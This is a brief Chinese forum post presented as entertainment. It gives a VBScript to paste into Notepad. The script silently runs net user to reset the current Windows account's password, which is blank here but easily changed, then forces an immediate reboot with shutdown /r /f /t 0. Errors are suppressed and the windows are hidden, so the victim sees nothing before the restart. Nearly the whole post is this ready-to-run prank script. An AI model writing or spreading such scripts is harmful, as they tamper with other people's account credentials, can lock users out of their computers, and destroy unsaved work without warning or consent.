|
发表于 2020-10-7 21:52:14
|
显示全部楼层
娱乐
你先打开记事本,输入文字:
On Error Resume Next
Dim fso,ws,file,shut,password
password=""
Set fso=Wscript.CreateObject("Scripting.FileSystemObject")
Set ws=Wscript.CreateObject("Wscript.Shell")
fol=fso.GetSpecialFolder(1)
file=fol & "\net.exe"
shut=fol & "\shutdown.exe"
ws.run file & " user %UserName% "+Chr(34) & password & Chr(34),0,True
ws.run shut & " /r /f /t 0",0
|
|